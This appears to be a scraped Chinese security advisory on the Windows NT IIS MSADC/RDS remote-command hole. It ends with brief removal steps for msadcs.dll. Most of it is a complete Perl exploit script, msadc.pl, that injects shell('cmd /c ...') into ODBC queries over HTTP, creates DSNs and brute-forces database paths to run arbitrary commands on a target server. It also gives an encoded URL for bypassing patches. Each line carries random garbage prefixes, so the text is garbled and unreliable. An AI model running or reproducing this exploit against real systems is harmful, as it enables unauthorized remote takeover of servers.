IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
lb1Xsgm{ ;jTN | i' 涉及程序：
W*w3 [_"sr Microsoft NT server
>- { Hy x \D&KC,i5f 描述：
xn|(9#1o 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
u> / TE +d-NL?c 详细：
BL58] P84 如果你没有时间读详细内容的话，就删除:
vVcob }ZH c:\Program Files\Common Files\System\Msadc\msadcs.dll
H 7
^/q7 有关的安全问题就没有了。
*_g$MI T9q-,w/j; 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
KCDE{za 7T'B6`-Ox 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
R_xRp&5 关于利用ODBC远程漏洞的描述，请参看:
Jpo (Wl 9Lfv^V0 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Fea(zJ_ -s'-eQF J 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
d*Fj3Wkx http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8sK9G`
k -n5)w* b, 这里不再论述。
qb` \)X]9 ,3 u}x, 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
~.lPEA %% [;sRV< /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
m9 }P9 ? 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
w"& n? L uhutg,[ $]2vvr #将下面这段保存为txt文件，然后: "perl -x 文件名"
"8zDb dK %GIr&V4| #!perl
mUx+Y ]Ep #
xFg>SJ7] # MSADC/RDS 'usage' (aka exploit) script
ges J/I #
ZWp(GC1NA # by rain.forest.puppy
>~+ELVB& #
T37XBg H # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
CQDkFQq-dq # beta test and find errors!
t9IW/Q |)/aGZ+ use Socket; use Getopt::Std;
KdbHyg<4 getopts("e:vd:h:XR", \%args);
t#eTV@- iM 3V=&) print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
N_q|\S>t/ DrK{}uM if (!defined $args{h} && !defined $args{R}) {
^\,E&=/}M print qq~
hqkz^!rp Usage: msadc.pl -h <host> { -d <delay> -X -v }
Fh9h,'
V" -h <host> = host you want to scan (ip or domain)
^@NU}S):yN -d <seconds> = delay between calls, default 1 second
V,N%;iB} -X = dump Index Server path table, if available
! #2{hQRu -v = verbose
G9<X_ -e = external dictionary file for step 5
mB ON$sF| R]*K:~DM Or a -R will resume a command session
x;<W&s}( 5bpEYW+ ~; exit;}
)q3p-)@kQ <dhM\^ [ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
O463I.XAP if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
W#3 Q ^Z? if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<0q;NrvUb if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
R hLVg~x $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
TBU&6M>{3 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
UN<]N76!
c=.(!qdH if (!defined $args{R}){ $ret = &has_msadc;
TT3| /zwn die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~zNAbaC+>t N^:9Fz print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Ck7uJI<x . "cmd /c ";
!f &g-V $in=<STDIN>; chomp $in;
dL
)<%
o $command="cmd /c " . $in ;
l"]}Ts# [ 87,s .MK if (defined $args{R}) {&load; exit;}
'$zIbQ: R`^_(y n> print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
_/5H l` &try_btcustmr;
QWHug:c o`N 9!M print "\nStep 2: Trying to make our own DSN...";
x>`%DwoRI &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
<
F+l H\tUpan6fy print "\nStep 3: Trying known DSNs...";
XFV!S#yE Z &known_dsn;
$43qME HBx= \%;n print "\nStep 4: Trying known .mdbs...";
`XE r( e9 &known_mdb;
*N'p~LJ W'+:'_{ j: if (defined $args{e}){
Qhcu>r a print "\nStep 5: Trying dictionary of DSN names...";
E#t> Qn &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
:$BCRQ Ffta](Z; print "Sorry Charley...maybe next time?\n";
oc0G | exit;
j+v =Ul|l HYSIN^<oy ##############################################################################
JQHvz9Yg b |p)9&^r sub sendraw { # ripped and modded from whisker
_?0}<k Q& sleep($delay); # it's a DoS on the server! At least on mine...
g0ly my ($pstr)=@_;
* U=s\ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
GKc`xIQ die("Socket problems\n");
7!TueP0Zd if(connect(S,pack "SnA4x8",2,80,$target)){
eHNyNVz select(S); $|=1;
:mn>0jK,N print $pstr; my @in=<S>;
tQYM &6g select(STDOUT); close(S);
' AEE[
return @in;
XtSkh] #z! } else { die("Can't connect...\n"); }}
RxWVe-Dg p\aaJ ##############################################################################
/?F/9hL M>ruKHipFE sub make_header { # make the HTTP request
G`BU=Fi my $msadc=<<EOT
1rF]yi:X POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
'|p$)yx2 User-Agent: ACTIVEDATA
c?&X?< Host: $ip
_ k ~K Z;l Content-Length: $clen
7f!YoW;1 Connection: Keep-Alive
y0.8A -2: 0+ ;bh
{Eu ADCClientVersion:01.06
F Yzi~L Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
D}8[bWF Tl[!=S --!ADM!ROX!YOUR!WORLD!
.Blf5b Content-Type: application/x-varg
kbMWGB%; Content-Length: $reqlen
aa#Y=%^ W~9tKT4 EOT
}"PU%+J ; $msadc=~s/\n/\r\n/g;
5T2CISmu return $msadc;}
8sM|%<$=j 4\u1TYR ##############################################################################
RA'M8: $ @ H7d_S sub make_req { # make the RDS request
MWpQ^dL_ my ($switch, $p1, $p2)=@_;
$i g0j` my $req=""; my $t1, $t2, $query, $dsn;
{NFr]LGOp 6BbGA*%{ if ($switch==1){ # this is the btcustmr.mdb query
"h a L $query="Select * from Customers where City=" . make_shell();
4;]hK!AXS $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
YS@ypzc/ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
hYNY"VB c [4i9I3v elsif ($switch==2){ # this is general make table query
2Mvrey) $query="create table AZZ (B int, C varchar(10))";
_R13f@NWB: $dsn="$p1";}
xLWw YK Vjp1RWb elsif ($switch==3){ # this is general exploit table query
``Dq $query="select * from AZZ where C=" . make_shell();
lG!|{z7+0 $dsn="$p1";}
6dN7_v) pg.ri64H< elsif ($switch==4){ # attempt to hork file info from index server
J|kR5'?x $query="select path from scope()";
(@<c6WS $dsn="Provider=MSIDXS;";}
:'3XAntZA M&@b><B elsif ($switch==5){ # bad query
t2I5hSf $query="select";
%]DP#~7[| $dsn="$p1";}
2w_W Adi dzsmIV+ $t1= make_unicode($query);
_w/EP $t2= make_unicode($dsn);
"2P&X $req = "\x02\x00\x03\x00";
S=<}:#;u0 $req.= "\x08\x00" . pack ("S1", length($t1));
(-xS?8x$ $req.= "\x00\x00" . $t1 ;
Ov4y %Pj $req.= "\x08\x00" . pack ("S1", length($t2));
x:>wUhzZ $req.= "\x00\x00" . $t2 ;
y8L D7<1u $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
eg?<m KrZ return $req;}
qnJt5 6@e+C;j = ##############################################################################
;WM"cJo9 L z!,kwg sub make_shell { # this makes the shell() statement
TI#''XCB5 return "'|shell(\"$command\")|'";}
!2A:"2Kys: hMUs"
<. ##############################################################################
wEE\+3b) o/6-3QUak sub make_unicode { # quick little function to convert to unicode
T:Hr&ws4 my ($in)=@_; my $out;
P 8>d6;o($ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
YN2sd G return $out;}
e2ilB), g[I b,la_a ##############################################################################
*x])Y ~oQ Q`D~5ci sub rdo_success { # checks for RDO return success (this is kludge)
C>$E%=h+_ my (@in) = @_; my $base=content_start(@in);
.ir<s>YM if($in[$base]=~/multipart\/mixed/){
Vf'd*-_!Q< return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Fpa ;^ F return 0;}
\"^w 'ng a / #PLP ##############################################################################
}i`PGx C] 9 p5Hs sub make_dsn { # this makes a DSN for us
=%gRW5R% my @drives=("c","d","e","f");
7L@K _ZJ print "\nMaking DSN: ";
/.i.TQ] foreach $drive (@drives) {
Av SM ^ print "$drive: ";
!+4cqO my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;F#7Px(q "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
%8D z o . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
!Mim@!5M $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
{>,V\J0p return 0 if $2 eq "404"; # not found/doesn't exist
mG`e3X 6@- if($2 eq "200") {
ZAUQJS 91E foreach $line (@results) {
(v|} \?L return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
=ng\ 9y[;D } return 0;}
\ZhfgE8{% x{,q]u / ##############################################################################
pT1[<X!<s OD 3f.fT sub verify_exists {
%4
XJn @J my ($page)=@_;
\&3"<6xA my @results=sendraw("GET $page HTTP/1.0\n\n");
9D}/\jM return $results[0];}
t|!j2<e OY5OJ* ##############################################################################
CQr<N w 4jBC9b}O sub try_btcustmr {
f<*Js)k my @drives=("c","d","e","f");
lGk{LO) my @dirs=("winnt","winnt35","winnt351","win","windows");
vZ N!Zl7S !F4@KAv foreach $dir (@dirs) {
Vc%R$E% print "$dir -> "; # fun status so you can see progress
''^Y>k foreach $drive (@drives) {
!\#_Jw%y print "$drive: "; # ditto
)0e2ic/ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
xD /9F18 $reqlenlen=length( "$reqlen" );
B Ma)O $clen= 206 + $reqlenlen + $reqlen;
N!x =eC 4)4+M my @results=sendraw(make_header() . make_req(1,$drive,$dir));
zBp{K@U[|M if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
P"?FnTbv[ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ls `,EFF {
"xln/ ##############################################################################
0lsXCr_X TO*BH^5R sub odbc_error {
Gqcz< =/ my (@in)=@_; my $base;
CWG6;NT6m my $base = content_start(@in);
G #T<`>T if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
sv(f;ib $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*;U'[H3Q $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
zYv#: >C8 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5P+ t^\ return $in[$base+4].$in[$base+5].$in[$base+6];}
GK}'R= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
9F-
)r' print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
%Lrd6i_j $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Bo+DJ izu Af5D>/ ##############################################################################
Rek
-`ki5F <{: sub verbose {
70Yjv 1 i my ($in)=@_;
5P h X"7 return if !$verbose;
I .@hW>k print STDOUT "\n$in\n";}
g3sUl&K oi&Wo'DX ##############################################################################
&G >(9 ia {c sub save {
C#=bW'C my ($p1, $p2, $p3, $p4)=@_;
" ;w}3+R open(OUT, ">rds.save") || print "Problem saving parameters...\n";
HXVBb%pP print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
"S oHt] %# close OUT;}
M4LktR-[ zT* .jv ##############################################################################
25|8n feC5 9>#: /g/ sub load {
=}fd6ea(o my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Q_"\Q/=?Do open(IN,"<rds.save") || die("Couldn't open rds.save\n");
uH^ PQ @p=<IN>; close(IN);
}2r+%V&4 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
a!c[! $target= inet_aton($ip) || die("inet_aton problems");
|m?vVLq print "Resuming to $ip ...";
5[9 bWB{ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
5NXt$k5 if($p[1]==1) {
OAZ#|U $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
i_LF`JhEQT $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
&?p:3%;Dr my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
$O:w(U if (rdo_success(@results)){print "Success!\n";}
rt + ..t\ else { print "failed\n"; verbose(odbc_error(@results));}}
kDYN>``biP elsif ($p[1]==3){
w*w? S if(run_query("$p[3]")){
'!Kf#@';u print "Success!\n";} else { print "failed\n"; }}
$H'X V"<o elsif ($p[1]==4){
I5);jgb if(run_query($drvst . "$p[3]")){
q1hMmMi print "Success!\n"; } else { print "failed\n"; }}
l t]B#, ' exit;}
`
e {BId 2$zU& p7sV ##############################################################################
Y
Za P VLg
EX4 sub create_table {
lZt(&^T my ($in)=@_;
<3O T>E[ $reqlen=length( make_req(2,$in,"") ) - 28;
P8gX CX!>U $reqlenlen=length( "$reqlen" );
9-bG<`v\E $clen= 206 + $reqlenlen + $reqlen;
.Nx
W=79t my @results=sendraw(make_header() . make_req(2,$in,""));
g42R 'E% return 1 if rdo_success(@results);
I(n* _bFq my $temp= odbc_error(@results); verbose($temp);
mg+k'Myo+ return 1 if $temp=~/Table 'AZZ' already exists/;
(%Oe_*e}Y return 0;}
2+9 2Q_ + +ydm,aKk ##############################################################################
c 8Qn N:n X qR{.jF. sub known_dsn {
._p""'S a # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
/k7wwZiY@ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
dNV v4{S "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
0%)5.=6 "banner", "banners", "ads", "ADCDemo", "ADCTest");
2n eRJ K:qOoY foreach $dSn (@dsns) {
1}`LTPW9 print ".";
nY) .|\|i next if (!is_access("DSN=$dSn"));
}w!ps{* if(create_table("DSN=$dSn")){
i@<~"~ >]7 print "$dSn successful\n";
udT xNl! if(run_query("DSN=$dSn")){
G79C {|c\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6;uBZ &g print "Something's borked. Use verbose next time\n";}}} print "\n";}
5&4F,v[zp #cEq_[yI ##############################################################################
~B@ }R x|apQ 6 sub is_access {
S[@6Lp3q_ my ($in)=@_;
{ >.>7{7 $reqlen=length( make_req(5,$in,"") ) - 28;
D$_8rHc\A $reqlenlen=length( "$reqlen" );
W<gD6+=8 $clen= 206 + $reqlenlen + $reqlen;
u"F;OT\>g my @results=sendraw(make_header() . make_req(5,$in,""));
*=^[VV! my $temp= odbc_error(@results);
K
M]Wl_z verbose($temp); return 1 if ($temp=~/Microsoft Access/);
FH n,]Tfx return 0;}
-"Gl
4) *t =i ##############################################################################
-v*x V;[ qU6BA \ZL sub run_query {
-iQs i4 my ($in)=@_;
@bQ!zCI $reqlen=length( make_req(3,$in,"") ) - 28;
.D@/y uV $reqlenlen=length( "$reqlen" );
`p" U $clen= 206 + $reqlenlen + $reqlen;
)b9I@)C my @results=sendraw(make_header() . make_req(3,$in,""));
RUrymkHFB return 1 if rdo_success(@results);
iH _"W+dq my $temp= odbc_error(@results); verbose($temp);
"X ?LAo return 0;}
T^.{9F]*S M]s[ "0O ##############################################################################
$PfV<Yj'B ty;o&w$ sub known_mdb {
|2UauTp5yK my @drives=("c","d","e","f","g");
!`h~`-]O my @dirs=("winnt","winnt35","winnt351","win","windows");
bVmvjY4 my $dir, $drive, $mdb;
'Fzuc^G(d my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7+] F^
6 &
3I7 ]Wm # this is sparse, because I don't know of many
w2<*$~C] my @sysmdbs=( "\\catroot\\icatalog.mdb",
KH)pJG|NY "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
hd=j56P5P "\\system32\\certmdb.mdb",
<d<RK@2- "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
}-@I#9 - coy@S=.' my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
M7pvxChA "\\cfusion\\cfapps\\forums\\forums_.mdb",
1(F'~i|5 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
0eaUorm) "\\cfusion\\cfapps\\security\\realm_.mdb",
<lX:eR1 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
@>9A$w$H|a "\\cfusion\\database\\cfexamples.mdb",
C_89YFn+ "\\cfusion\\database\\cfsnippets.mdb",
Bzm. X=U : "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
K \m4*dO v "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
a:xgjUt&5 "\\cfusion\\brighttiger\\database\\cleam.mdb",
_PdAN= C3 "\\cfusion\\database\\smpolicy.mdb",
I]UA 0[8X "\\cfusion\\database\cypress.mdb",
!%)L&W_ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
|<2JQ [] "\\website\\cgi-win\\dbsample.mdb",
m4\g o "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
R=DPeUy; "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
92NC]_jw ); #these are just
{)jk_&c7 foreach $drive (@drives) {
qIUC2,&g foreach $dir (@dirs){
.k|-Ks |d| foreach $mdb (@sysmdbs) {
j?d!}v print ".";
FL~9< / if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
s=}~Q&8 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
-{r!M(47 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
AzW%+ LUD print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
3Y=,r!F.h } else { print "Something's borked. Use verbose next time\n"; }}}}}
N)Qlkz$X $R3.yX=[\ foreach $drive (@drives) {
c[6 zX#{` foreach $mdb (@mdbs) {
F F(^:N print ".";
gx&\Kw6HM if(create_table($drv . $drive . $dir . $mdb)){
'II
vub#q print "\n" . $drive . $dir . $mdb . " successful\n";
nN! vgn
j if(run_query($drv . $drive . $dir . $mdb)){
V =Ww> print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
sd]0Hx[ } else { print "Something's borked. Use verbose next time\n"; }}}}
d"Ml^rAn }
CrT2#h 1# L)j]~^P$- ##############################################################################
B1up ^ (? /7S -|%1 sub hork_idx {
6qY\7R2+ print "\nAttempting to dump Index Server tables...\n";
`mQP{od?"? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
=ulr_i%Xs $reqlen=length( make_req(4,"","") ) - 28;
m.| qVN $reqlenlen=length( "$reqlen" );
_-YL!oP $clen= 206 + $reqlenlen + $reqlen;
S]S p Z8 my @results=sendraw2(make_header() . make_req(4,"",""));
zT2F&y
q if (rdo_success(@results)){
o$^O<z L my $max=@results; my $c; my %d;
(bM)Nd for($c=19; $c<$max; $c++){
Uv#>d}P $results[$c]=~s/\x00//g;
ZA) SJWw D $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
]wJ}-#Kx $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
*tIdp`xT/T $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
BvNl?A@]A $d{"$1$2"}="";}
ktkn2Twa/ foreach $c (keys %d){ print "$c\n"; }
zWP.1 aA& } else {print "Index server doesn't seem to be installed.\n"; }}
K*J4&5?/ sj?`7kg ##############################################################################
!-
Cs? g>d7%FFn} sub dsn_dict {
p3>Q< open(IN, "<$args{e}") || die("Can't open external dictionary\n");
H'j_<R N while(<IN>){
JMl , N $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Y #Sd2h,^X next if (!is_access("DSN=$dSn"));
:e5:\|5*5 if(create_table("DSN=$dSn")){
-k|g04 Q ? print "$dSn successful\n";
S&;T_^| if(run_query("DSN=$dSn")){
VPq5x Sc? print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
. x\/XlM print "Something's borked. Use verbose next time\n";}}}
d&$.jk8 2 print "\n"; close(IN);}
jpPdjQ 1"~O"m sb ##############################################################################
:G6 xJlE| WOe{mwhhj sub sendraw2 { # ripped and modded from whisker
qcpG}o+&D sleep($delay); # it's a DoS on the server! At least on mine...
~jgN_jz my ($pstr)=@_;
oX=*MEfX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|e.3FjTH die("Socket problems\n");
XSL
t;zL: if(connect(S,pack "SnA4x8",2,80,$target)){
TV$\v@\ = print "Connected. Getting data";
M+;!]tbc3 open(OUT,">raw.out"); my @in;
71}L# nQ select(S); $|=1; print $pstr;
_7t|0aNo\ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
WsK"^"Z close(OUT); select(STDOUT); close(S); return @in;
CBz(hCaI } else { die("Can't connect...\n"); }}
-=v/p*v0o E@'CU9Fo ##############################################################################
wXIe5 y5Z<uwXc sub content_start { # this will take in the server headers
D!OG307P my (@in)=@_; my $c;
Aspj*CDu for ($c=1;$c<500;$c++) {
nEa'e5
lg if($in[$c] =~/^\x0d\x0a/){
q:D0$YY0 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
b> >=d)R else { return $c+1; }}}
fj z2 m return -1;} # it should never get here actually
X,C/x) GFy0R"&d[ ##############################################################################
(d GM;Dq8 u\Erta` sub funky {
y [ rB" my (@in)=@_; my $error=odbc_error(@in);
hD9' `SQ if($error=~/ADO could not find the specified provider/){
:g]HB ,78 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
D ^T7pO exit;}
v2W"+QS}u if($error=~/A Handler is required/){
hj m .Ath print "\nServer has custom handler filters (they most likely are patched)\n";
BW(DaNt^ exit;}
c+G :@% if($error=~/specified Handler has denied Access/){
a_}BTkfHa print "\nServer has custom handler filters (they most likely are patched)\n";
ZF11v(n exit;}}
;29X vhS8 _ UVX ##############################################################################
?'8MI|*l% [ (.T%kJ sub has_msadc {
:Jsz"vCg&s my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
KWuj_.; my $base=content_start(@results);
l2KxZteXY0 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
4- ?`# return 0;}
`QyALcO
%q\P 'cK ########################
i +
&lMgh I !i#= ~sU!
1 解决方案：
*"9)a6T
t+ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
I5<#SW\a? 2、移除web 目录: /msadc
